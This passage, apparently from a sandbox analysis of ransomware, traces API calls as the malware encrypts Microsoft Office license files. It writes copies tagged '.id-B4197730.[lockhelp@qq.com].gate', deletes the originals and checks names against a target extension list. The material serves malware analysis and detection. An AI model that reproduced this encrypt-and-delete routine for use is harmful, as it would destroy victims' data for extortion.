lpNumberOfBytesWritten=0x377fc94*=0x2980, lpOverlapped=0x0) returned 1 [0314.983] ReadFile (in: hFile=0x414, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0314.983] WriteFile (in: hFile=0x528, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x100, lpOverlapped=0x0) returned 1 [0314.983] SetEndOfFile (hFile=0x528) returned 1 [0314.986] CloseHandle (hObject=0x528) returned 1 [0315.001] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.001] SetEndOfFile (hFile=0x414) returned 1 [0315.017] CloseHandle (hObject=0x414) returned 1 [0315.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1 [0315.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0315.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0315.019] lstrlenW (lpString=".doc") returned 4 [0315.019] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.019] lstrlenW (lpString=".docx") returned 5 [0315.019] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.019] lstrlenW (lpString=".pdf") returned 4 [0315.019] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.019] lstrlenW (lpString=".xls") returned 4 [0315.019] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.019] lstrlenW (lpString=".xlsx") returned 5 [0315.019] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.019] lstrlenW (lpString=".ppt") returned 4 [0315.019] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0315.019] lstrlenW (lpString=".zip") returned 4 [0315.019] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.019] lstrlenW (lpString=".rar") returned 4 [0315.019] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.019] lstrlenW (lpString=".bz2") returned 4 [0315.019] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.020] lstrlenW (lpString=".7z") returned 3 [0315.020] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0315.020] lstrlenW (lpString=".dbf") returned 4 [0315.020] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0315.020] lstrlenW (lpString=".1cd") returned 4 [0315.020] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0315.020] lstrlenW (lpString=".jpg") returned 4 [0315.020] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.021] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19926) returned 1 [0315.021] CloseHandle (hObject=0x414) returned 1 [0315.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220 [0315.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0315.021] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.022] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0315.022] GetLastError () returned 0x0 [0315.022] ReadFile (in: hFile=0x414, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x4dd6, lpOverlapped=0x0) returned 1 [0315.042] WriteFile (in: hFile=0x4f4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0315.043] ReadFile (in: hFile=0x414, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.043] WriteFile (in: hFile=0x4f4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x108, lpOverlapped=0x0) returned 1 [0315.044] SetEndOfFile (hFile=0x4f4) returned 1 [0315.044] CloseHandle (hObject=0x4f4) returned 1 [0315.044] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.044] SetEndOfFile (hFile=0x414) returned 1 [0315.046] CloseHandle (hObject=0x414) returned 1 [0315.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1 [0315.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0315.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0315.048] lstrlenW (lpString=".doc") returned 4 [0315.048] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.048] lstrlenW (lpString=".docx") returned 5 [0315.048] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.048] lstrlenW (lpString=".pdf") returned 4 [0315.048] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.048] lstrlenW (lpString=".xls") returned 4 [0315.048] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.048] lstrlenW (lpString=".xlsx") returned 5 [0315.048] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.048] lstrlenW (lpString=".ppt") returned 4 [0315.048] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0315.048] lstrlenW (lpString=".zip") returned 4 [0315.048] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.048] lstrlenW (lpString=".rar") returned 4 [0315.048] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.048] lstrlenW (lpString=".bz2") returned 4 [0315.048] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.049] lstrlenW (lpString=".7z") returned 3 [0315.049] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0315.049] lstrlenW (lpString=".dbf") returned 4 [0315.049] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0315.049] lstrlenW (lpString=".1cd") returned 4 [0315.049] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0315.049] lstrlenW (lpString=".jpg") returned 4 [0315.049] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.087] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3219) returned 1 [0315.087] CloseHandle (hObject=0x404) returned 1 [0315.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220 [0315.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0315.174] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.174] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0315.175] GetLastError () returned 0x0 [0315.175] ReadFile (in: hFile=0x4f8, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xc93, lpOverlapped=0x0) returned 1 [0315.495] WriteFile (in: hFile=0x498, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xca0, lpOverlapped=0x0) returned 1 [0315.496] ReadFile (in: hFile=0x4f8, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.496] WriteFile (in: hFile=0x498, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x122, lpOverlapped=0x0) returned 1 [0315.496] SetEndOfFile (hFile=0x498) returned 1 [0315.496] CloseHandle (hObject=0x498) returned 1 [0315.497] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.497] SetEndOfFile (hFile=0x4f8) returned 1 [0315.505] CloseHandle (hObject=0x4f8) returned 1 [0315.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1 [0315.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0315.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0315.507] lstrlenW (lpString=".doc") returned 4 [0315.507] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.507] lstrlenW (lpString=".docx") returned 5 [0315.507] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.507] lstrlenW (lpString=".pdf") returned 4 [0315.507] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.507] lstrlenW (lpString=".xls") returned 4 [0315.507] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.507] lstrlenW (lpString=".xlsx") returned 5 [0315.507] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.507] lstrlenW (lpString=".ppt") returned 4 [0315.507] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0315.507] lstrlenW (lpString=".zip") returned 4 [0315.507] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.507] lstrlenW (lpString=".rar") returned 4 [0315.507] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.507] lstrlenW (lpString=".bz2") returned 4 [0315.507] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.507] lstrlenW (lpString=".7z") returned 3 [0315.507] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0315.507] lstrlenW (lpString=".dbf") returned 4 [0315.507] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0315.507] lstrlenW (lpString=".1cd") returned 4 [0315.507] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0315.507] lstrlenW (lpString=".jpg") returned 4 [0315.507] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.508] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19927) returned 1 [0315.508] CloseHandle (hObject=0x4f8) returned 1 [0315.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0315.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0315.508] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.509] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0315.509] GetLastError () returned 0x0 [0315.509] ReadFile (in: hFile=0x4f8, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0315.577] WriteFile (in: hFile=0x498, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0315.578] ReadFile (in: hFile=0x4f8, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.578] WriteFile (in: hFile=0x498, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x10e, lpOverlapped=0x0) returned 1 [0315.578] SetEndOfFile (hFile=0x498) returned 1 [0315.578] CloseHandle (hObject=0x498) returned 1 [0315.578] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.578] SetEndOfFile (hFile=0x4f8) returned 1 [0315.580] CloseHandle (hObject=0x4f8) returned 1 [0315.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1 [0315.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0315.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0315.637] lstrlenW (lpString=".doc") returned 4 [0315.637] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.637] lstrlenW (lpString=".docx") returned 5 [0315.637] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.637] lstrlenW (lpString=".pdf") returned 4 [0315.637] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.637] lstrlenW (lpString=".xls") returned 4 [0315.637] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.637] lstrlenW (lpString=".xlsx") returned 5 [0315.637] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.637] lstrlenW (lpString=".ppt") returned 4 [0315.637] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0315.637] lstrlenW (lpString=".zip") returned 4 [0315.637] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.637] lstrlenW (lpString=".rar") returned 4 [0315.637] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.637] lstrlenW (lpString=".bz2") returned 4 [0315.637] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.637] lstrlenW (lpString=".7z") returned 3 [0315.637] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0315.637] lstrlenW (lpString=".dbf") returned 4 [0315.637] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0315.637] lstrlenW (lpString=".1cd") returned 4 [0315.637] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0315.637] lstrlenW (lpString=".jpg") returned 4 [0315.638] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.638] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19919) returned 1 [0315.638] CloseHandle (hObject=0x4b0) returned 1 [0315.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220 [0315.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0315.639] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.639] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0315.640] GetLastError () returned 0x0 [0315.640] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0315.705] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0315.706] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0315.706] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x10a, lpOverlapped=0x0) returned 1 [0315.706] SetEndOfFile (hFile=0x50c) returned 1 [0315.706] CloseHandle (hObject=0x50c) returned 1 [0315.707] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0315.707] SetEndOfFile (hFile=0x4b0) returned 1 [0315.709] CloseHandle (hObject=0x4b0) returned 1 [0315.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1 [0315.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0315.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0315.710] lstrlenW (lpString=".doc") returned 4 [0315.710] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.710] lstrlenW (lpString=".docx") returned 5 [0315.710] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.710] lstrlenW (lpString=".pdf") returned 4 [0315.710] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.710] lstrlenW (lpString=".xls") returned 4 [0315.710] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.710] lstrlenW (lpString=".xlsx") 